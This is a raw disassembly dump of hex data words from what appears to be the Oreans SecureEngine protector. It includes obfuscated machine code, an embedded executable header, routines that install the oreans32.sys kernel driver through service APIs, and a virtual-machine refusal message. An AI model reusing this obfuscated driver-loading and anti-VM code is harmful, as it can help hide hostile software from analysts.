dd 65636E61h, 65672F00h, 736C7774h, 75746174h, 6C2F0073h dd 7473676Fh, 73757461h, 75642F00h, 7473706Dh, 73757461h dd 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 624C2D9h, 0A840F00h, 0C7000000h, 220A2185h, 106h, 985C600h dd 47062233h, 6763C968h, 2404815Ch, 340608C4h, 33A9B5FFh dd 858D0622h, 6223AF1h, 0D0FFD0FFh, 3F80F88Bh, 22850F22h dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh dd 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h, 80FFFFFFh dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh dd 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h, 0AE80000h, 0E9000000h dd 0FFFFFFCBh, 2B4E9h, 59B58D00h, 0E80624C2h, 225h, 0C2EEBD03h dd 0BD830624h, 624C2EEh, 0B840F00h, 0C7000000h, 2208DD85h dd 106h, 0B58DC300h, 624C264h, 1FCE8h, 0EEBD0300h, 830624C2h dd 24C2EEBDh, 840F0006h, 0Bh, 0A2185C7h, 10622h, 8DC30000h dd 24C2DDB5h, 1D3E806h, 0BD030000h, 624C2EEh, 0C2EEBD83h dd 0F000624h, 0B84h, 185C700h, 1062228h, 0C3000000h, 0C26EB58Dh dd 0AAE80624h, 3000001h, 24C2EEBDh, 0EEBD8306h, 624C2h dd 0B840Fh, 85C70000h, 6220A21h, 1, 78B58DC3h, 0E80624C2h dd 181h, 0C2EEBD03h, 0BD830624h, 624C2EEh, 15840F00h, 0C7000000h dd 220A2185h, 106h, 0DD85C700h, 1062208h, 0C3000000h, 0C286B58Dh dd 4EE80624h, 3000001h, 24C2EEBDh, 0EEBD8306h, 624C2h dd 0A840Fh, 85C70000h, 6220485h, 1, 0C290B58Dh, 26E80624h dd 3000001h, 24C2EEBDh, 0EEBD8306h, 624C2h, 0A840Fh, 85C70000h dd 6220485h, 1, 0C29BB58Dh, 0FEE80624h, 3000000h, 24C2EEBDh dd 0EEBD8306h, 624C2h, 0A840Fh, 85C70000h, 6220505h, 1 dd 0C2A1B58Dh, 0D6E80624h, 3000000h, 24C2EEBDh, 0EEBD8306h dd 624C2h, 0A840Fh, 85C70000h, 62228D9h, 1, 0C2A7B58Dh dd 0AEE80624h, 3000000h, 24C2EEBDh, 0EEBD8306h, 624C2h dd 0A840Fh, 85C70000h, 62227C5h, 1, 0C2B5B58Dh, 86E80624h dd 3000000h, 24C2EEBDh, 0EEBD8306h, 624C2h, 0A840Fh, 85C70000h dd 62219BDh, 1, 0C2C2B58Dh, 5EE80624h, 3000000h, 24C2EEBDh dd 0EEBD8306h, 624C2h, 0A840Fh, 85C70000h, 6221EF1h, 1 dd 0C2CDB58Dh, 36E80624h, 3000000h, 24C2EEBDh, 0EEBD8306h dd 624C2h, 0A840Fh, 85C70000h, 6221559h, 1, 1E9h, 3F804700h dd 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh, 1B960C3h dd 8B000000h, 1CE9DEh, 3F800000h, 2850F00h, 2B000000h dd 38178AC9h, 5840F16h, 0B9000000h, 0 aFga db 'FG€>',0 db 0Fh, 84h, 8 dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 624C2EEh, 0AE9h, 0EE85C700h dd 624C2h, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h dd 6220485h, 0 dd 0EE9C88Bh, 33000002h, 6E6E6143h, 7720746Fh, 65746972h dd 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h dd 74206572h, 20746168h, 73696874h, 6C696620h, 73692065h dd 746F6E20h, 69656220h, 7520676Eh, 20646573h, 61207962h dd 68746F6Eh, 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 6223309h, 5B866847h, 0B5FFE3E4h dd 62233A9h, 3AF1858Dh, 0D0FF0622h, 10468h, 0FD9D8D00h dd 5306222Ah, 8D50D0FFh, 24C87BB5h, 32FE8B06h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 22330985h dd 0FC684306h, 0FFBC8E6Eh, 2233A9B5h, 0F1858D06h, 0FF06223Ah dd 0FDB58DD0h, 6A06222Ah, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 6223309h, 0EE566857h, 0B5FFA69Bh dd 62233A9h, 3AF1858Dh, 0D0FF0622h, 2925BD8Dh, 8D8D0622h dd 624C9A1h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0C683B58Dh, 858D0624h, 624B23Fh, 8D8DD0FFh, 62276A4h dd 0B8h, 0C6E1FF00h, 22330985h, 0A7684306h, 0FFC0764Ah dd 2233A9B5h, 0F1858D06h, 0FF06223Ah, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_450050+4BB0h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 dd 0C3F8h, 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10B7E900h, 44410000h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) aOreans32_sys db 'oreans32.sys',0 align 4 dd 0 dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 21h dup(0) dd 53000000h, 7774666Fh, 5C657261h, 656E6957h, 8AC48B00h dd 0D8589CCh, 8A062229h, 0F59503D3h, 8B062220h, 0D98166C0h dd 0BD8334CAh, 62208DDh, 83097500h, 220A21BDh, 19740006h dd 0C08B5350h, 43DB8h, 39858900h, 8D06221Bh, 24BFC99Dh dd 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h, 43DB8h, 39858900h dd 8D06221Bh, 24BCB89Dh, 5BD3FF06h, 65BD0158h, 0F062226h dd 680h, 7CF28100h, 8B112FB5h, 8BCF8BC0h, 958B60C0h, 6221A09h dd 32E9958Bh, 83610622h, 2208DDBDh, 9750006h, 0A21BD83h dd 74000622h, 8B535013h, 0B8C0h, 9D8D0000h, 624BE6Bh, 585BD3FFh dd 0A21BD83h, 74000622h, 0B8535011h, 0 dd 0BD1C9D8Dh, 0D3FF0624h, 9533585Bh, 62231C5h, 8BC88B66h dd 0B1C08BC0h, 0DDBD8335h, 62208h, 0BD830975h, 6220A21h dd 50137400h, 0B8C08B53h, 0 dd 0BD9D9D8Dh, 0D3FF0624h, 0BD83585Bh, 6220A21h, 50117400h dd 0B853h, 9D8D0000h, 624BCEAh, 585BD3FFh, 0FC9B70Fh, 188Eh dd 13E900h, 2B7B0000h, 45CA1387h, 472C0AAEh, 9AC935B5h dd 29B83E26h, 0BD895382h, 6221629h, 6AC08B5Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0D6C2C357h, 9EEFA82Ah, 0B966876Ah, 0C08BA330h, 0FE18D8Bh dd 95890622h, 6222115h, 8DDBD83h, 75000622h, 21BD8309h dd 6220Ah, 53501374h, 0B8C08Bh, 8D000000h, 24BE049Dh, 5BD3FF06h dd 21BD8358h, 6220Ah, 53501174h, 0B8h, 39D8D00h, 0FF0624BDh dd 0F585BD3h, 684h, 5D8D8900h, 89062207h, 222909B5h, 8BC08B06h dd 22029195h, 0FC08B06h, 68Fh, 119D2900h, 83062228h, 2208DDBDh dd 9750006h, 0A21BD83h, 74000622h, 8B535013h, 0B8C0h, 9D8D0000h dd 624BD36h, 585BD3FFh, 260DBD89h, 0C08B0622h, 8B36EE80h dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0BEFDC2F6h, 19C58D8Bh, 0BD830622h, 62208DDh dd 83097500h, 220A21BDh, 19740006h, 0C08B5350h, 7D0B8h dd 39858900h, 8D06221Bh, 24BFC99Dh, 5BD3FF06h, 21BD8358h dd 6220Ah, 53501774h, 7D0B8h, 39858900h, 8D06221Bh, 24BCB89Dh dd 5BD3FF06h, 0F5B53158h, 89062209h, 2208B585h, 81C08B06h dd 636195EFh, 1850F3Eh, 0F8000000h, 330985C6h, 66530622h dd 0AEB2D981h, 395F9068h, 0B5FFF599h, 62233A9h, 28EA8166h dd 0F1858DB4h, 6A06223Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0E6DC356h, 0EAD44EA0h dd 0B11565A4h, 89D0FFC7h, 22206585h, 0D2BF0F06h, 330985C6h dd 8B570622h, 520668F8h, 0B5FF9004h, 62233A9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 18C35141h, 898D29D0h dd 2906221Fh, 22109DBDh, 0F1858D06h, 5006223Ah, 32CDBD89h dd 0FF5A0622h, 0CFB70FD0h, 1C358589h, 9D290622h, 62215C9h dd 330985C6h, 0E8430622h, 9, 981707BDh, 169DC88Ch, 68E0F65h dd 8B000000h, 220F5195h, 28685F06h, 0FBC9070h, 38Ch, 0D2B70F00h dd 0FFFFB70Fh, 2233A9B5h, 68B0F06h, 8B000000h, 221B0D8Dh dd 0ED958906h, 8D062233h, 223AF185h, 0FE806h, 7C150000h dd 1A732439h, 6ED6AE59h, 0FC1E07BEh, 3D95232Bh, 5F06220Eh dd 4BBFD0FFh, 8949AB91h, 221F1585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0E46CD956h dd 665C87CEh, 4CCDEF81h, 330985C6h, 6A4C0622h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 917FC351h, 8E9C7h, 81630000h, 0B0F705C5h, 9D29BF37h dd 62214A5h, 0DA1CE968h, 0D9589D9h, 0FF062222h, 2233A9B5h dd 7E806h, 6F990000h, 0D4C9D748h, 0CDD9804Fh, 0F1858D59h dd 0BF06223Ah, 5CC50FE1h, 0D6EF8166h, 89D0FF2Ah, 22186185h dd 19DAB906h, 0BD8961FBh, 6221461h, 330985C6h, 52460622h dd 9E9h, 31371200h, 0C739F192h, 685FDEE6h, 0BADE0614h dd 33A9B5FFh, 958B0622h, 6221941h, 3AF1858Dh, 8D8B0622h dd 62202A5h, 6E9D0FFh, 27000000h, 3B5EA79Ch, 0D1858933h dd 6A06222Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 3FFFC353h, 6880Fh, 958B0000h dd 62226A1h, 330985C6h, 9470622h, 2208398Dh, 41B96606h dd 0B5E268D2h, 0EF818A0Fh, 5DBB82B3h, 33A9B5FFh, 0E1810622h dd 12450620h, 3AF1858Dh, 2ABF0622h, 0FF674ADCh, 218589D0h dd 0E8062211h, 0Eh, 5312E86Fh, 1D503ADCh, 3D21215Dh, 8E90650h dd 0FB000000h, 0F9C3081Ch, 5A2A5B1Bh, 30D8589h, 6A0622h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 80C02C3h, 0FA103253h, 0FF8F872h, 584h, 0C7816600h, 85C6B092h dd 6223309h, 0D3B70F47h, 0D0B5F368h, 0FFFAB683h, 2233A9B5h dd 13E906h, 707D0000h, 347CFA92h, 91E77692h, 693A27DFh dd 0DFC42FD4h, 0F1858DB0h, 6A06223Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 364CC353h dd 390D4AC1h, 0BD8B9D2Bh, 6223379h, 0A898D8Bh, 0D0FF0622h dd 339D9D89h, 85890622h, 6220111h, 0C6C88B66h, 22330985h dd 11E97706h, 0DD000000h, 49DB912Bh, 60734AE7h, 0DE4ECA92h dd 0AB268152h, 97A8A368h, 3820FF3h, 0F000000h, 0B5FFC9BFh dd 6220FC9h, 0EF58589h, 8B660622h, 0F1858DD0h, 8B06223Ah dd 22305595h, 66D0FF06h, 43BDE281h, 7018589h, 85C60622h dd 6223309h, 0D58D8B47h, 68062210h, 8728FAF6h, 0FF48F180h dd 2233A9B5h, 85EA8006h, 3AF1858Dh, 8B0F0622h, 6, 18B3C781h dd 0D0FF25D6h, 0EE8h, 0F4D25500h, 5A703542h, 0FAD0B85Fh dd 0F55B5132h, 0F185895Fh, 6A062209h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E8C5C357h dd 0B950D648h, 36FEC279h, 330985C6h, 33430622h, 22183D95h dd 0FC68F906h, 6ABC8E6Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 5292C353h, 123D9BCDh dd 59D8996h, 8B062229h, 22195995h, 4DBD8B06h, 0FF062200h dd 2233A9B5h, 55BD0106h, 0F062210h, 38Bh, 0FA8B6600h, 3AF1858Dh dd 0BE90622h, 5B000000h, 56DFFA47h, 5274739Eh, 0D0FFB22Fh dd 6830Fh, 95890000h, 62221F5h, 3E18589h, 0CE90622h, 0AE000000h dd 0E8D98AD4h, 5B9DD7ECh, 0C61A4944h, 22330985h, 6A4506h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 801FEC3h, 9AAACB8Eh, 8D0FB9h, 89000000h, 22014D8Dh dd 69696806h, 0FFF58E72h, 2233A9B5h, 0F1858D06h, 8006223Ah dd 0D0FFD4F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 58C35040h, 9D897444h, 6221A6Dh, 15C99589h, 85890622h dd 62201A9h, 958BF78Ah, 6221595h, 330985C6h, 8B440622h dd 2201ADBDh, 681AB606h, 0B8F2EC64h, 0FF2FE280h, 2233A9B5h dd 0D2BF0F06h, 3AF1858Dh, 66600622h, 0B70FFB8Bh, 0D0FF61F0h dd 1DB5BD8Bh, 85890622h, 6221321h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 96C35545h, 0CE97D1Eh, 63000000h dd 91134455h, 7D8247F3h, 0C61BB3ACh, 22330985h, 9D894306h dd 62219E5h, 764AA768h, 0B5FFF8C0h, 62233A9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 45C35141h, 3AF1858Dh dd 0BD890622h, 6221AE1h, 98EF8166h, 60D0FF7Bh, 2FFD9D89h dd 0B5890622h, 6220EA9h, 8C0F6061h, 6, 1897CE81h, 0BD895302h dd 62214A5h, 0C5858961h, 6A06222Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8055C355h dd 250D64BDh, 840F0006h, 0DAh, 0D46858Dh, 0EA810625h, 14F87B45h dd 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 2DB74BAh, 0E8452F7Bh dd 12h, 7BE25099h, 522CC7CFh, 0E14DF3D7h, 3EAD5B24h, 0E9813EF5h dd 1232D3Ah, 8A016A5Fh, 0F006AF0h, 1389h, 0EE900h, 0AF0000h dd 0E1B9301Bh, 5258F58h, 0F40B8617h, 958B006Ah, 6222AF1h dd 1F1595FFh, 95890622h, 6221E95h, 271D8589h, 0FEB10622h dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0D128BEC3h, 29216343h, 22125185h, 0D7816606h dd 0B5FF1665h, 622271Dh, 188D8D8Bh, 95FF0622h, 6221C35h dd 2619BD8Bh, 8C0F0622h, 6, 17E1BD33h, 0C08B0622h, 152D9589h dd 0BD830622h, 62208DDh, 83097500h, 220A21BDh, 19740006h dd 0C08B5350h, 7D1B8h, 39858900h, 8D06221Bh, 24BFC99Dh dd 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h, 7D1B8h, 39858900h dd 8D06221Bh, 24BCB89Dh, 5BD3FF06h, 0F4CF8158h, 8B05F537h dd 0BAC08BD7h, 184EA68Eh, 330985C6h, 89470622h, 222AD9B5h dd 0F7C16806h, 0B53193C8h, 6220819h, 33A9B5FFh, 66510622h dd 590BA9BAh, 3AF1858Dh, 95090622h, 6221F91h, 0C180D0FFh dd 6A5005h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 2C8FE9C3h, 0F37D935Ah, 89601CD3h, 22209D85h dd 87858D06h, 6A062511h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0E933C357h, 11958BADh dd 8B062228h, 9400C7CBh, 8B000000h, 2207898Dh, 0BD8B5806h dd 62210B5h, 1187B58Dh, 13E90625h, 0B2000000h, 0E01D056Bh dd 1C9981AFh, 3E359826h, 1014AFCDh, 0FE96BCCh, 5000000h dd 0AA157076h, 454EA24h, 0C6AF0F19h, 6656D1FBh, 0FFFC94BAh dd 6800FD0h, 89000000h, 220341BDh, 87858D06h, 33062511h dd 2208F18Dh, 4788306h, 2D850F06h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 1E2C355h, 221A9D85h, 1B85C706h, 1062512h, 0F9000000h dd 1B99BD83h, 0F000622h, 4885h, 0D3B70F00h, 121BBD83h dd 0F000625h, 3885h, 14E900h, 9FBA0000h, 30DDBBB1h, 0DE3428ABh dd 46C620F8h, 3C40226Dh, 0BD8397D3h, 6222171h, 12840F00h dd 0BA000000h, 6E33CC54h, 259985C7h, 622h, 0BF0F0000h dd 0DB8C66D1h, 0F6D38B66h, 840F04C3h, 4B0h, 85C729B5h dd 62200F5h, 0 dd 6419589h, 0BD800622h, 6250D71h, 0C850F00h, 0E9000000h dd 7, 0F9312C7Ch, 0C681A549h, 22330985h, 9AB94706h, 68425A9Fh dd 0E3E45B86h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0A9C35040h, 5759B5E3h, 0BD89B812h, 62225F9h, 33A9B5FFh dd 8DF90622h, 223AF185h, 1D0FF06h, 2225B185h, 51958B06h dd 68062212h, 104h, 9D8D49B1h, 6222AFDh, 68D9D89h, 8B530622h dd 22082995h, 80D0FF06h, 858D1DF2h, 6222AFDh, 0C19D0950h dd 5A062205h, 0F98B6650h, 0D23858Dh, 81500625h, 0E3D887EFh dd 0F6858D34h, 6A062503h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0CFE5C353h, 0DB006F01h dd 79BB1D4Eh, 1EADBD01h, 6A500622h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 5135C353h dd 95FFFA8Bh, 6220701h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 61C35545h, 9EC500B9h, 9E8h, 74CE5300h dd 4E0BD00Fh, 0B70F8E4Dh, 0C4835AFAh, 8E90Ch, 0FB150000h dd 9DF3275Eh, 6A2D1Fh, 8068h, 6A036A00h, 68006A00h, 80000000h dd 3F6858Dh, 0FF500625h, 2203E195h, 6858906h, 0C606250Dh dd 22330985h, 87684706h, 0FFC7B15Eh, 2233A9B5h, 0F1858D06h dd 0FF06223Ah, 0FF006AD0h, 250D06B5h, 66D0FF06h, 4548C281h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 2CC35343h dd 37D03Dh, 2E830F00h, 89000000h, 221B3DBDh, 6B5FF06h dd 0F06250Dh, 589h, 0C1816600h, 95FFB5ADh, 6222FC5h, 3079BD8Bh dd 0B2E90622h, 8B000000h, 2221F595h, 6B5FF06h, 0F06250Dh dd 95FFFBB7h, 6222FC5h, 229950Bh, 6A0622h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 59C35242h, 9D29A8B4h dd 62209E5h, 6A006Ah, 16599D89h, 6A0622h, 81DBD23h, 6A0622h dd 0AEDB51BAh, 6A006A28h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0FB7EC351h, 9FFFBF66h dd 0D0A858Dh, 5E90625h, 0BA000000h, 80A58E3Ah, 0B58D8950h dd 0FF06221Fh, 2203E195h, 5E906h, 0A2160000h, 83498BAAh dd 850FFFF8h, 11Dh, 0D0BF0F52h, 96858D59h, 660624C8h, 29A4A1B9h dd 221A7DB5h, 0E8D0FF06h, 0Dh, 0F99127Eh, 486A092Fh, 78E4B648h dd 5AC88A84h, 0B966006Ah, 6AF73Ch, 9D09006Ah, 6221065h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0F3674FC3h, 79BD8B5Dh, 0F06220Ah, 581h, 0C681B900h dd 6A2248h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0B4C35040h, 4C2E9CE0h, 6042139Fh, 0BD895A57h, 622006Dh dd 66006A61h, 0A251EF81h, 0D0A858Dh, 0BD890625h, 6220509h dd 0A9958B50h, 0FF06220Eh, 2203E195h, 0F883F906h, 56850FFFh dd 60000000h, 2981BD89h, 8D890622h, 62205F5h, 12B58D61h dd 29062507h, 22261D9Dh, 3F858D06h, 310624B2h, 223159BDh dd 0FD0FF06h, 983h, 38E0F00h, 0F000000h, 6AD2B7h, 2E77DCB9h dd 68E0F2Ah, 9000000h, 220FB9BDh, 0A995FF06h, 81062201h dd 90EC77D2h, 685894Ch, 8B06250Dh, 2208F9BDh, 8B006A06h dd 0FE858DCEh, 0B906250Ch, 33E211FEh, 0CE950h, 1C610000h dd 0DBF903AEh, 35D0B911h, 0BA600B06h, 1D7E030Fh, 6A046A61h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 6EDFC352h, 0E9FCC8E5h, 0Dh, 0CC0E816Ah, 6B2A6B89h dd 48A4AF5Dh, 0C1858DF2h, 8B062232h, 2225658Dh, 158D8B06h dd 50062231h, 3D5496BAh, 6AF929h, 37DF8166h, 9006A56h dd 2212858Dh, 6A54B506h, 0FE801h, 36CA0000h, 3F91B27h dd 0E96AE032h, 0C25D8436h, 6D8D8B12h, 5F062221h, 0D06B5FFh dd 6A0625h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 50BA26C3h, 0B09020BFh, 2195FF41h, 89062213h dd 2204E1BDh, 1A1AE906h, 0CA810000h, 24D5F02Bh, 0F4ABB966h dd 0B589C08Bh, 6223079h, 8DDBD83h, 75000622h, 21BD8309h dd 6220Ah, 53501974h, 0D2B8C08Bh, 89000007h, 221B3985h dd 0C99D8D06h, 0FF0624BFh, 83585BD3h, 220A21BDh, 17740006h dd 0D2B85350h, 89000007h, 221B3985h, 0B89D8D06h, 0FF0624BCh dd 66585BD3h, 89022BB9h, 221D99BDh, 0E8C08B06h, 6, 86EE903Dh dd 0CF8BEB6Ch, 0F585C75Fh, 1062200h, 89000000h, 2210A99Dh dd 